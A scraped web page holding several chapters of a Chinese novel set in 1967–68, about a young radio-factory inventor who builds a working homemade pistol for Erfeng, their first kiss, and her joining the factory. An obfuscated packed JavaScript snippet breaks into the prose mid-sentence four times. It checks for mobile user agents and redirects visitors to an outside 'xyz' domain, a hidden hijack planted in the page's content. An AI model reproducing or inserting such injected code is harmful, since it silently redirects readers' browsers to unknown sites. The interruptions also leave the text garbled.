她要秦国颂给她制作一把**,原因是现在运动的需要,要文攻武卫。学生们的手里大多都拥有一把自制的**,那些土造的**的威力尽管比一个炮仗大不了多少,但是有了它就是一个**者的标配。学生们手里拿了它洋洋自得,有事没事就冲天放两枪,一是开心,二是壮胆。这在这个时代成了一种普遍现象。上至成年的高中生下至未成年的大一些的高小学生,几乎男孩子们手里一人一把。 她要让秦国颂给她制作一把比别人的都好的都先进的都精致的威力大的**。 一天,二凤来厂里找秦国颂。对他讲他妈想他了,问他在厂里过得还好不好,并要求秦国颂跟她回一趟家。说秦国颂的家人们有些不放心,让他回去看看。 秦国颂和二凤走在回家的路上。二凤问他:“你在单位里搞的那个设计挺上进的啊?不会是因为那个女技术员吧?” 秦国颂惊讶的看着二凤:“什么?什么女技术员?我哪里注意过她?真的。” 二凤仔细的打量了秦国颂。“你对女人没兴趣?” 秦国颂的脸一下子就红了。“我,我没有想过。真的,我说的是真的!” 二凤看了秦国颂发囧的样子,心里觉得自己想多了,她身旁这个智商超群情商几乎等于0的男子男学生,对女人真的是单纯到了几乎是无知的地步。这一点他俩一起出过两次出门她是很有体会的。二凤觉得有些错怪了他,于是就哄着他说。 “那你真的喜欢我姐夫和安康吗?给我说说他们俩你喜欢谁?” 秦国颂说。“他们俩我都挺喜欢的。他们俩吧,有些不一样,也有些一样。国英大哥呢?他身上好像有一种……一种在电学上叫磁性这东西。他特别吸引人,我和他在一起的时候呆着感觉特别舒服,喜欢听他说话,他跟我说话的时候我脑子里什么都不想,他说内容说的什么都不重要,就喜欢听他的声音,听得我心里有时候是麻酥酥的那种感觉。”接着他又补充道。“他身上有一种魅力。这种魅力别的男人身上没有,我就在他身上能感觉到……安康大哥呢我也喜欢,但是我觉得他有点假。喜欢表现自己,而且他这种表现就是他那种……把他自己的长处和别人的短处相比较。其实呢,每个人都有自己的长处……他确实有思想有头脑,但是怎么说呢?他太在意这个了,好像要把自己的长处无限的夸大,并且有时还有些沾沾自喜。嗯,怎么说呢,好像我不应该背着别人说人家的不好吧。不过这只是我的感觉,只能跟你说,跟别人可不能乱讲。人家安康大哥对我挺好的,还给我找了工作,更不能背地里说他的不是吧?不过这也不是不是吧!这是一个人的性格,说一个人的性格,这不是说人家的坏话吧?” 二凤仔细的听着秦国颂说的这番话,心里暗暗想,这真是一个透明的小伙子,如同一个干净的玻璃杯里装满了纯净的水,没有丝毫杂质。这么干净的人,好可爱。 秦国颂忽然问二凤。“哎?我问问你,你要**干嘛?那都是男孩子玩的东西啊。” 二凤没有正面回答,只是反问了一句。“你别管**嘛?你给不给我做吧?” 秦国颂看着二凤锥子般的眼睛盯着他,赶紧回答:“做呀,我没有说不做,我还真会给你做一把最好的**,我要把它做的和真的一样。我现在在厂里有条件给你做。需要的材料厂里好找。” 二凤开心的笑。她看了看左右,旁边没人,对秦国颂说:“你闭上眼睛。” 秦国颂乖乖的把眼睛闭上,二凤上前猛的在秦国颂脸上亲了一下。秦国颂愣愣怔怔的没有动,他睁开了眼睛,看着二凤那多情的目光,红着脸低下了头。 他用手抚摸着被二凤亲过的脸颊,嘴里小声的说道。 “长这么大,第一次被我妈妈以外的女人亲过。如果不是在街上。我,我也会亲你的……” 二凤羞羞的笑了:“大傻子……不不,你可不傻……可爱**……” 秦国颂真的给二凤做了一把**。那是一把小巧玲珑的精致极漂亮的**。不像街上小玩儿闹们玩的那种用皮筋做击火动力,枪筒直径就如同小炮仗一样的只会冒个烟儿听个响动基本上没有什么杀伤力的**,他做的这把枪是一把真正意义上的枪,已经超出了**的范畴,可以连发的那种,装**发射的那种仿**。 当二凤拿到手里把玩那把**的时候,除了惊讶和赞美说不出别的话了。 秦国颂看着他从口袋里拿出了几枚**,告诉她这字弹也是他自己做的,这枪属于**,弹壳是他在集市上仔细挑选来的,就找了这么几粒,挺不容易的。用完后弹壳可不能扔掉。还要继续用的。 二凤的心里就像吃了蜜一样的甜,深情的看着他好一会儿,她心里想。这个秦国颂到底是用什么材料制成的?他,他到底还有什么不会做的?! 几天以后,二凤装着秦国颂给她制作的那把**来到他的单位里找他。见面后,二凤请求秦国颂请半天假陪她去公园,找没人的地方试一试那把枪。 秦国颂去请假。二凤在他的工作间等他。她用略带得意的神情打量着低着头工作的女技术员。嘴里哼唱着一首语录歌曲:“**不是请客吃饭……” 秦国颂请了假陪同二凤来到了公园。 公园里一片萧条冷漠,几乎没有游人,公园的动物也不知道去了哪儿。猴山虎山狮子豹等这些动物都不见了踪影。只有在围栏里的一只骆驼寂寞的可怜巴巴的打探着他们。围栏里没有任何食物,连一片树叶都没有。这时过来几个半大的孩子,他们拿破报纸从围栏外喂骆驼,骆驼叼过报纸津津有味的吃着,孩子们哄笑着,有的调皮的孩子翻过围栏骑在骆驼身上。骆驼就沿着围栏奔跑,孩子们开心的大笑,一个孩子骑下来另一个孩子骑上去。他们就这样哄笑着骑着骆驼开心的玩。 秦国颂和二凤看到这场景摇摇头走开了。二凤叹了一口气:“这骆驼多可怜……” 他们俩顺着荒凉的公园小路向纵深走去。走进养金鱼的园子,园子里没人看管。养金鱼的大鱼缸上面结了薄薄的一层冰,大多数鱼缸里的金鱼都不见了踪影。只有少数几缸金鱼在薄冰的冰层底下缓缓游动,这是过了几个十五六岁的男孩子,其中的一个拿着一个木棍把鱼缸上面的薄冰层砸开,其他的几个人就用手去捞鱼缸里的金鱼,漂亮的大金鱼在躲避着孩子们的手,但是很快就被孩子们抓到了。那些人把金鱼捞出来放到一条湿毛巾上把金鱼包裹住。然后就放到自己的口袋里,若无其事的走了。 秦国颂看到这些,对二凤说。“现在都没人管了,公园的工作人员都不上班了。唉……” 他们离开了金鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489019|169521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区,顺着一条河走去。河的对面就是农业大学,河两边是密集的大树,这边更没有人了。二凤正要掏出枪来想试一下枪的威力。忽然从侧面过来几个人,看年纪也就十六七岁,每个人手里都握着一把**,径直冲他们走来。其中一个走到秦国颂旁边故意撞了他一下。然后慢悠悠的摇摆着身子走过去。嘴里唱着样板戏沙家浜的唱词。明显的不会唱,并且唱词也是他自己改编的。只听他不在调的哼唱~~司令长来司令短,司令的伤势又重又有轻…… 秦国颂听了心里暗暗骂道。这他妈都哪儿跟哪儿啊?! 这是另一个男孩子歪戴着帽子,冲着二风就走了过去,他围着站在原地不动的二凤转了几圈。对其他人喊道。 “嘿,真没想到。这个小婆子长得盘儿真亮!谁来拍呀?”于是又凑近了二凤流里流气的说道。“怎么样?跟哥几个去玩玩。”其他的几个人一起向二凤围去。 秦国颂急忙上前,大声喝道。“你们干什么?走开!” 其中的两个人走向秦国颂,一个人手里拿着**指着秦国颂说。“干什么?老子要抢人!” 二凤缓缓地从衣袋里拿出**,慢慢的说道。“你们是要抢我吗?是吗?!真是活腻歪了。我正好试枪还没靶子呢!” 她边说边用手拨开了枪的机头,对着旁边的大树“砰”的就是一枪,下的那几个小混混立马就定格在那里。二凤用枪指着他们说。 “把你们手里的那破枪都给我扔地上,赶快给我滚!滚远点,别让我们再看见你们!再看到你们,你们看见那棵树了吗?那就是下场!” 说了她又抬起手里的**对着那棵树砰砰又是两枪,吓的那几个混混扔了手中的破**,撒腿就跑,一会儿就不见人影了。 秦国颂二凤开心的笑了。二凤捡起了地上丢弃的**装进袋子里。秦国颂问她: “要这些破玩意儿干嘛?” 二凤回答。“这是战利品,送给我的同学们。” 秦国颂又问。“你枪里的**打完了吧!” 二凤甩开枪里的**看了一眼。 “哎呀,真的没了!我忘了你做的这把枪就能放三颗**。我的妈呀!差一点儿我们就成了他们的俘虏了。” 秦国颂平静的说:“差一点儿刚刚好。有的时候好多关键的事情就差这么一点儿……”接着他又说到。“枪里的弹壳可别扔了,还拿它做**呢。” 秦国颂靠近二凤,赞赏的用眼睛看着她,夸奖道。“你真行!比我都勇敢……” 二凤一下子就抱住了秦国颂,一句话都说不出。抽泣着眼泪流了下来…… 秦国颂抱着二凤,发现她的身子在颤抖,他本能的亲了二凤眼角流下的泪水,感觉有些咸咸的味道。这时二凤一下子把嘴凑到了他的嘴上,两个人抱着热吻起来…… 秦国颂有生以来第一次被电着。不,搞无线电的挨电已是家常便饭。但这一次被电着可不同以往。这一次他觉得意识一下子就模糊了,电流即刻充满了全身。浑身火热。他分辨不出他亲吻的是二凤的嘴呢还是鼻子还是哪里。他真的不知道亲吻这个滋味,他只是恍惚的觉得他抱着一个人。这个人的身体在颤抖……特别唯一清晰的感觉倒的就是一种特别的滋味。这股烧荒草滋味涌遍他的全身。嘴里感觉淡淡的有点甜。闻上去有些香……这种味道科学上叫它荷尔蒙。 第21章 爱情 爱情只需用于来歌颂的,不可用于经营,谁经营谁心痛,不信走着瞧! 有的事情如果忘不了的话,那就不要忘,人这一辈子总有一杯毒是没有药可解的。 ——无名 秦国颂十四岁那年第一次遗精。他记得那天是他的生日,他忽然觉得长大了。懵懂和惶恐之间,他似乎想到了责任…… 自从和二凤有了第一次接吻。他才真正的意识到了性。这一次他好像想的更深了一层,忽然想到可以做爸爸了。尽管他和二凤还没有发展到做爸爸的那种程度。但这次初吻,秦国颂的爱情闸门便彻底的打开。他的心中好长时间不能平静。心里的那个小幼鹿撞击着他的心头。他回味起那初吻的滋味仍然是模模糊糊的。二凤那芊芊的细腰可爱的脸庞不停的在他眼前晃动。那峨眉星目朱唇轻巧,一闭上眼睛,他就能感觉到二凤的发丝缱绻在他的脖颈。她像一只小猫,像一束光打进他的黑暗。如同她的手拉着他走出荒芜的沙漠。这次拉手和在武汉的候车大厅里拉手完全不一样。在武汉候车大厅里,那是怕相互走丢了。这一次的拉手是她要把他拽向他们俩共同的伊甸园…… 这一次的电击确实击中了他的要害。他有些神情恍惚的坐在他的操作间,看着桌上的图纸,一脸茫然。 他在想着下一次见到二凤。要好好的看看她的眼睛,看看她的嘴,看看她的整个一切。要好好的认真的亲吻她,再深深的寻找体会那种味道…… 18岁的二凤长这么大,也是第一次和男孩子的初吻。她是完全瘫软的让秦国颂抱着吻的。尽管她也是弄不清楚这到底是个什么感觉。但是她的头脑里还是清晰的,她清晰的记得,当她把舌头伸向秦国颂嘴里时秦国颂闭着眼闭着嘴并不懂得怎样去迎合。他只是闭着嘴在和她接吻。在这一瞬间的刹那她还能轻轻的记得细节,并没有全部忘情地继续下面的操作。有文学艺术天赋的二凤看来还是有理性头脑的。秦国颂在她面前几乎是被动的。事后的秦国颂几乎是忘了自我,事后的二凤是要想着找到自我。 但无论怎样二凤还是真的动了情的。 女人和男人动了情最大的区别是。女人感情是控制不住的,她的心如同那奔腾不息的河流无法被束缚,唯有顺其自然去寻找那份真实的感情。 男人动了情很自然的便是想到了性。想到了要占有对方的身体。 二凤想的最多的是要把这份情与别人分享。她满满的幸福与甜蜜的感觉在某个不经意的瞬间她都想找个人分享一下,倾诉一下心中的秘密。分享她的梦想与愿望。她一想到秦国颂内心便会涌起一阵暖流。这种感觉如同冬日的阳光,透过寒冷的空气撒在她的心田,她便在心中默默的祈愿希望这种温暖能够长久的伴随在她的生活之中。 她想把这种温暖说给姐姐大凤听,让姐姐和她分享此时幸福心情。 秦国颂想的最多的便是赶快见到二凤。抱着她亲她吻她。重温第一次接吻的美好时刻。那种感觉真让他心醉…… 他坐在设计图纸的台案前。看着台案上的图纸,忽然那些密密麻麻的元件符号慢慢的**在一起。他感觉桌上的图纸动了起来。那些符号慢慢的**成了二凤的一张脸。这张脸微笑的甚至还有一些陌生的注视着他,然后张开的嘴像是要吻他,他慢慢的把脸凑过去微微的也张开了嘴…… 这时他听到了耳旁有说话的声音,这声音很甜很轻,像二凤,但又不是二凤,那声音在说。 “你怎么了?哪里不舒服呢……” 他一下子抬起了头,看见是他的女助理王春梅微笑的站在他身旁,关切地向他询问着。 他眨了眨眼摇了摇头。把梦想拉回现实。 “哦,王师傅……没,没事。我在想……” 他没有说明他在想什么,只是感觉到王春梅的眼光有些异样。他的脸有些红红的。 王春梅关切地对他说:“你要觉得不舒服就休息一下。这一阵子你压力大。休息一下也好缓解缓解压力情绪……还有你别总叫我师傅,叫我小王就行了。” 秦国颂怔怔的看着王春梅。“在厂里不都是互相尊称师傅吗?我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493096|169521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是叫你师傅吧。叫你小王叫不出口。” 王春梅微笑的说道。“真正的应该成为师傅的是你呀。你懂得那么多。我们都要好好的向你学习呢。” 秦国颂的脸又红了。“千万别这么说,真的难为情……” 王春梅转身去给秦国颂倒了一杯水,把水放在他的面前。 秦国颂下意识的站了起来。赶紧拿过水杯。连连对王春梅说。 “王师傅瞧你太客气了,你还给我倒水。要喝水了我自己去倒就好了。” 王春梅笑笑说。“倒个水有什么呀?我是你的助理,应当的。”然后她转了话题问秦国颂。 “那天找你来的女孩子你们俩关系不一般吧?” 秦国颂红着脸说道。“我们俩住一个院儿,嗯嗯。要说关系吗,确实挺好的。哎,王师傅,我告诉你,我们俩还在一起出过两次门呢。还去的是比较远的地方。” “你们俩没搞对象吧?我看那个女孩子很喜欢你。” “没,没有吧。我们俩就是挺好的。很说的来,有共同语言。”秦国颂有些不自然地撒着谎。 接着秦国颂反问道。“你真的能看出来那个女孩子对我好吗?喜欢我吗?” “那还看不出来呀?太明显了!” 王春梅笑出声来。“女人之间是非常敏感的……” 秦国颂“额”了一声,若有所思的说道:“怪不得她和我说到你了呢……” “啊,她跟你说我了?”王春梅瞪大了眼睛。“她说我什么了?” 秦国颂忙遮掩道。“没有,没有,也没说什么。只是问过我。问我来这里设计电视机……是不是因为你……” “啊,因为我?你怎么回答的?!” 王春梅有些迫切的想得到答案。 秦国颂张了张嘴想要回答。他忽然发现自己说的有些多了。赶紧摇了摇头。 “没,没有,我没有给她回答……” 这时虚掩着的设计室的门轻轻的推开了。一个**步的走进来。 “说的真热闹!能给我讲讲说的什么吗?” 进来的人是二凤。 第22章 爱情(续) 二凤走近王春梅。伸出手来友好的与她握了握手。 秦国颂有些慌乱的站了起来。有些不知所措的看着二凤。 “你,你怎么一下子就跑来了?”秦国颂说话都显得有些慌乱,朝思暮想见到的人一下子就出现在面前。而且又是在这种显得有些尴尬的环境场面。他不清楚他和王春梅他们之间的谈话二凤听到没有。又对二凤的突然到来思想上一点准备都没有。又惊又喜,显得不知所措。 二凤和王春梅互相问候了几句。微笑着对秦国颂说。 “过来看看你。看看你研制的电视机怎么样了。真想着早一天看到你制作的电视机,我这么大还没看过电视呢。” 秦国松用手指了一下台案上的图纸。 “图纸基本上都设计好了。下面的工作就是买零件准备安装了。一部分一部分的安装,一个单元一个单元的拼凑。” 他又对在一旁的王春梅说到:“多亏了王师傅的协助,不然图纸设计这一块我真的是很吃力了。王师傅是电子系的大学生。电路设计这一块真的是专家了。我要好好的向你学习。谢谢王师傅!” 王春梅笑了:“咱们这是工作,你怎么这么客气呢?这是**的工作,是我们每个人义不容辞的职责。” 秦国颂急忙说道:“不是我客气,是真的,没有你真的不行!” 二凤在一旁插话道。 “真想着能来帮帮你们了。只可惜我对无线电一窍不通。不然的话我也来你们这里上班,众人拾柴火焰高嘛?” 秦国颂有些单纯天真的问道。“你现在不是也没有工作吗?可以跟我们厂的领导说说,你也过来做临时工嘛?你要想来的话,我去给我们领导说?” 二凤说:“我来干嘛?你们这一行我又不懂的。只能在厂子里干些打杂的活。” 秦国颂有些兴奋的说道。“别管干什么,先来上班,我刚进厂的时候不是也是干的车工吗?”他又转向王春梅问道:“你知道吗?咱们厂现在还缺人吗?” 王春梅笑笑说。“怎么不缺?厂里两年都没招工了。还有现在又要抓**促生产。正缺人呢。” 秦国颂急切的对二凤说道,“我现在就去找郑主任。问问他厂里还要不要人!” 二凤有些嗔怪的对秦国颂说。“看你急的。这可不符合你的性格。你一向都是稳重的。怎么忽然变了性格了呢?” 秦国颂的脸又红了。低着头,有些不好意思的说道。 “我这还不是为了你。光在学校搞运动,啥时候是个完呀?找个工作就踏实了。” 二凤说道。“也是啊。其实我早就想来你们厂了。只不过没有正当的理由。最早我想去我爸爸他们单位。当个检察官。现在你看看检察官肯定当不成了。公检法被砸烂。连我爸爸都成了泥菩萨过河自身难保了。更何况我?” “那我和王师傅我们俩一起去给你问问郑主任,看看你来咱们厂上班行不行?”秦国颂对二凤说道。 二凤冷静的看了看秦国颂,又看了看王春梅。 “你们二位我都不打算麻烦了。我自己去。我自己去跟他说。我觉得我有条件,也有专长。我自己去碰碰运气。” 她看了看王春梅与秦国颂,对秦国颂说道。“你不是夸过我的性格吗?我还是用我的这种劲头去闯一下。鼓励一下好吗?!” 王春梅与秦国颂鼓起掌来。 “哈哈,什么事情啊?这屋里这么热闹!” 郑弘山边说边笑着走了进来。 屋里的三个人同时向郑弘山喊道。 “郑主任!!” 郑弘山笑着问道。“有什么喜讯?”他看了一眼二凤。说道:“嗯?这位小客人是哪儿的呀?” 二凤对郑弘山行了一个标准的军礼。 “报告!我叫张文凤。和秦国颂是一个院儿的。过来看看他们研制的电视机。” “哦,你也关心这些?”郑弘山和蔼的问道。“你也懂无线电?” “报告郑主任。我不懂无线电。我有其他的专长!” 郑弘山哈哈大笑。“你这个小同志蛮正规的呀。动不动就行军礼,动不动就喊报告。很像个军人呢?” 二凤不好意思的笑了。“我老爸就是军人出身,都是跟他学的。” 郑弘山问道。“你爸爸现在干什么呀?” “赋闲在家。被打成走资派了。以前他是省检察院的检察长。现在基本上什么都不是了。但,他是我爸!”二凤认真的看着郑弘山说道。 “嗯,嗯。”郑弘山沉吟的嗯着。“哦哦,是这么回事儿……” 二凤又赶紧的说。“我来这儿呢,第一是看他们工作进展。第二呢,有事来找您!” 郑弘山有些惊讶的问道。“有事找我?你说吧,什么事?我能办到的?” 二凤赶紧补充到,“您能办到。我觉得您能,就来找您。” “嗯。你说吧。看看我能不能办到?在这儿不方便的话,去我的办公室。” 二凤立刻又给郑弘山敬了一个礼。 “郑主任。去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498705|169521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您的办公室说吧。我觉得还是去办公室说的好。如果您不同意的话,当着这么多人我多尴尬呀。” 郑弘山又哈哈大笑了。“好吧,好吧。小同志心眼儿很多呀?” 二凤有些腼腆的笑了。 她跟着郑弘山走出了屋。 屋内秦国颂和王春梅猜测着二凤那边会不会顺利的通过。 秦国颂说:“王师傅,你觉得她行吗?能通过吗?” 王春梅说:“看她这股子劲儿,看她的性格,郑主任好像挺喜欢她的。就看她有哪方面的专长了。不过单凭高中毕业这就是一个优势。咱们厂现在就缺有文化的。” “高中生也算是有文化的了?”秦国颂问道。 “那当然。”王春梅说。“像我这大学毕业在厂里基本上都是凤**麟角了。如果在前几年……”她停顿了没有继续往下说。 “像我这刚初中毕业……”秦国颂觉得有些自卑。 王春梅说:“你可不一样。你是特殊人才。领导上都很器重的。” “我有什么特殊啊?真的不觉得。” “你还不特殊?领导都说了你是打了灯笼都难找的人才!太优秀了。” 秦国颂说。“我真希望二凤能留在咱们厂。她真的很有才华的。写文章是一把好手。如果留下来。在咱们厂组宣科那一定是一员干将。她不光在学校校刊上发表文章。还在市保的报纸上发表过呢。还获过奖!” “哦……真是个人才啊。真好!你看我真幸运,认识的都是出类拔萃的人才。”王春梅开心的笑了。 秦国颂仍有些不安的看着门外。他站起来走出门。听着门外的动静。又返回来对王春梅说。 “杳无音信。咱们也耐心待命吧。” 他拿过案台上的图纸。心不在焉的看了几眼。又转脸对王春梅说。 “王师傅。咱们把电路图分成五个部分。一个部分一个部分的组装。咱们先做显像部分。这一部分最难。先让显像管发光。把最难的这一部分啃下来,其他的就好弄了。能弄成印刷电路的,咱们最好弄成。这样不但效率高,就是检查电路也要便捷的多。印刷电路板的原材料咱们这里有卖的吗?小块的我见过,大块的没有见到过。实在不行咱们就去外地买。” 王春梅说。“咱们先在本市找一找,实在找不到,咱们一起去外地买。连显像管一起买回来。” …… “报告!”门外传来银铃般的一声笑。 二凤喜笑颜开蹦蹦跳跳的进了屋…… 第23章 爱情(续) 二凤春光满面的走进了屋。 “通过了!他答应了!让我先去文宣组锻炼一下,搞宣传。他还说现在外调任务特别严重,急缺人手。我是共青团员,可以协助参加外调工作。再说,做这工作我可不外行啊?秦国颂你说呢?” 秦国颂坚定的点了点头。对王春梅说。“她太内行了。光我就亲自领教过她两次了。但是有一点别忘了,千万不能让她一个人去。她会把她自己弄丢了……”说完噗嗤一声笑了。 二凤也笑了,过去就给了他一巴掌。“说话净揭人家的短。说我的长处嘛。再说了,出去外调哪有一个人去的?那不符合组织程序。放心吧,不会再丢了。”她咯吱吱的笑了起来。 王春梅过来握着二凤的手。“恭喜你呀,张文凤妹妹。在一起工作,我们可以经常见面了。真好!嗯,还有,答应给你发多少钱工资了吗?” 二凤笑着对王春梅说。“谢谢春梅姐姐。我一会儿去劳资科办个手续。具体工资多少我没问。到劳资科就知道了。反正我也是临时工!哈哈。先不管什么工。先找到工作为上乘。不能总让爸妈养着呀!我觉得我工资肯定比他高。”她指了指秦国颂。 “你怎么就认为能比我高呢?”秦国颂有些不服气的说道。 “我要去外调有差旅费的呀,那还能不比你高?是不是啊?春梅姐。” 王春梅微笑的点了点头。“肯定是。” 几个人正在谈笑间。忽然门外走进来一个人。大声的说道。 “什么喜事啊?这么热闹!” 二凤转身一看。是安康。 “安康大哥你来啦!” “嚯!是二凤妹妹啊。什么风把你吹来了?”安康用食指把他的秀郎镜架顺着鼻梁往上推了一下。做了个很优雅的手势。 “欢迎二凤妹妹,你可是稀客呀!” 王春梅笑着说道:“安师傅,她以后可就不是稀客了。她是我们厂的一名员工了……” 安康愕然的瞪了瞪他那不大的眼睛。 “说什么?你们再说一遍?” 二凤啪的在安康面前来了一个立正。 “报告安康大哥。我刚刚经过领导批准。成为咱们厂的一位临时员工了。暂时安排在文宣组。协助负责外调工作。您看我行吗?” 安康先是一愣,然后转尔微笑的说道。 “这真是闪电战啊。欢迎你!祝贺你。你做这工作太合适了!这是你的专长嘛,舍你其谁也?不过这也来的太突然了。提前也不跟我说一下。我好……” “提前我们都不知道。这只是刚刚发生的事情。”秦国颂解释道。 安康的表情略显得有些复杂。他心里有些稍稍的不快。在厂里,他和新来的厂领导郑弘山关系处得相当的好。厂里的好多事情他都能和领导说的进话去。尤其是人事关系这一块。郑弘山也是比较采纳他的建议的。换句话说,在某种程度上来讲,他是郑弘山身边的一个红人。然而目前的事情,对他来讲说大不大说小不小的事情竟然在**的情况下办成了。尤其是二凤的事情。他几次都想主动的跟二凤或者他姐夫黄国英提出来。一是没有合适的机会,二是他心里深深的暗恋着二凤。只是无法表达出来罢了。他不想让别人知道他有这一份私心,是先在秦国颂身上开了一个口子。把秦国颂的事情顺利的办成后,让黄国英知道他在厂领导面前的能量。再顺水推舟的商量二凤的事情,这样显得自然而妥当。在老同学黄国英面前显得依旧是那样的潇洒和从容。他想着在二凤进厂后,他就可以和二凤有机会长期的接触,进而培养感情。慢慢的吐露自己的情怀。安康是个有心机的人,自尊心极强。对二凤他采取的是欲擒故纵之法。他喜欢二凤,却想着要二凤去主动的追求他。这样他争强好胜的自尊心以及大男子主义才能够得到满足。还有就是他怕他去主动的追求二凤,假如不成功的话,以后再见到黄国英或者二凤,会显得极为尴尬,并且与黄国英的关系以后还会不大好处。这使他显得踌躇满志。 没成想二凤竟然自己完成了自己的使命。而且还是这样的顺利。让他大大的出乎意料。这个小姑娘的能量真不可以等闲视之。他感到有些羡慕又有些失落。当然他还会嫉妒。那,只是后面的事情了…… 不过呢,安康毕竟是安康。他很快的稳定了情绪。笑着说道。 “今天是个好日子!第一,从工作进程上秦国颂与王春梅的设计工作已经告一段落。接下来就进入组装阶段。第二,我们的大美女大才女二凤加入了我们的工作行列。哦,对了,美女两个字现在不实行说了。那我们就用巾帼来表达!快到了开午饭的时候。你们都饿了吧?今天我请客。我去在食堂打饭,咱们就在这里吃!大家说好不好?” 众人齐声欢呼。一致称好。 王春梅笑笑说:“别让安师傅一个人请客。算我一个。咱俩请他们俩。” 安康摆了摆手:“王师傅别客气了,今天就我一个人请。二凤这都不是外人。我还经常去她们家吃饭呢。对吧?二凤。” 二凤笑着点着头:“我们家从来不把安康大哥当外人呢。” 安康得意的看着二凤:“真的?真没把我当过外人?那我可真幸福。” 二凤歪着头看着安康。 “你和我姐夫那么好。我们全家都喜欢你。” 安康笑了:“好了,什么都别说了,就凭这句话,这客,我请定了!” 二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507469|169521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤顺利的在无线电厂工作了。厂里的事情真多,她可真忙。她赶上了好时候! 抓**,促生产。厂里在忙着搞技术革新,她在忙着搞轰轰烈烈的宣传。厂里顺应**的形势与需求,新成立了一个单晶硅车间。这个车间的成立,在市里乃至省里乃至全国都是一件大事。要轰轰烈烈的大张旗鼓的宣传。因为单晶硅当时在国家还是一项空白。为国防科技提供硅原料制作高端太阳能产品提供高品质的基础原料。也是航天科技提供太阳能板的基础原料。这个单晶硅车间所肩负的历史使命是可想而知的。宣传这项工作的重大使命自然而然的就落在了二凤身上。 还有抓**,这可是重中之重。每天的**任务如同一日三餐。上街**宣传响应国家号召敲锣打鼓喊口号的活动此起彼伏,成为家常便饭。工人们还要参加大大小小的批判会斗争会庆功会。踏着新时代的**运动的步伐,投入到时代洪流之中去。除了这些二凤还要参加学习**主席思想积极分子的各项讲座交流。要参加厂里和市里布置的各项任务。还要去写学习心得,办好厂里简报的宣传印刷出版工作。二凤和厂里的工人们白天参加闹**,晚上加班搞生产。上班以后她几乎白天黑夜都在厂里。与秦国颂一样住单身宿舍。别看两个人都在一个厂,相邻这么近。但见面的机会却是相当的少。大多数见面还都是在**的队列之中,两个人挨着偷偷的才能说上几句话。 只有秦国颂和单晶硅车间的几个技术员师傅才有那么一点点小小的特权,不太重要的**活动,他们可以不去参加。让他们全神贯注的一门心思的搞科研。有两次**是秦国颂主动要求参加的。他的目的就是和二凤能见个面,走在一起,说上几句话。当然说话还要常常被此起彼伏的喊口号的声音打断。走在**队伍当中,手里高举着小旗子。呼喊的口号,两个人还会深情的凝望对视一下。然后略显尴尬的笑笑。继续往前行进。口号喊的什么都已经无所谓了。两个人能见了面,两颗年轻的心能碰撞在一起。他们就感到莫大的幸福和安慰。这种滋味能让秦国颂几天都沉浸在幸福之中…… 他有时暗暗的懊悔让二凤来厂里参加工作是个天大的错误。他哪里知道随着全国的急风暴雨的运动发展趋势,个人谈情说爱的时间已经慢慢的退缩到了边缘地带。更何况他们的年龄还都这么小,又不敢公开自己的恋情。他们的青春必须要让位于**的豪情。要把个人的私情寡欲隐藏在内心深处。让位于轰轰烈烈的**。 这就是秦国颂与张文凤的爱情。 然而青春的荷尔蒙是禁锢不住的。他们两人终于有了独自见面的机会…… 第24章 爱情(续) 1968年1月。全国武斗升级。 “文攻武卫”这一特定历史阶段产生的“蝴蝶效应”迅速在全国蔓延开来。 这一口号最早全国由上海发起,然后快速蔓延到四川广西广州河北等地。到1968年初,武斗风起云涌基本已不可遏制。个别地区的两派武斗由一开始的刀枪棍棒升级为重型武器。死伤人数日渐增加。为了平息这股风潮,中央决定派军队实行军事管制。于是全国各地的党政机关工矿企业学校均实行军管。成立军事管制委员会。武斗风潮逐渐平息。 郑弘山他们的无线电厂尽管没有参与大型的武斗事宜。但也同样有派军代表入驻。军代表自然而然的成了他们厂的第一把手。除了生产由郑弘山主抓以外,其余的厂里的一切事情都归军代表管辖。 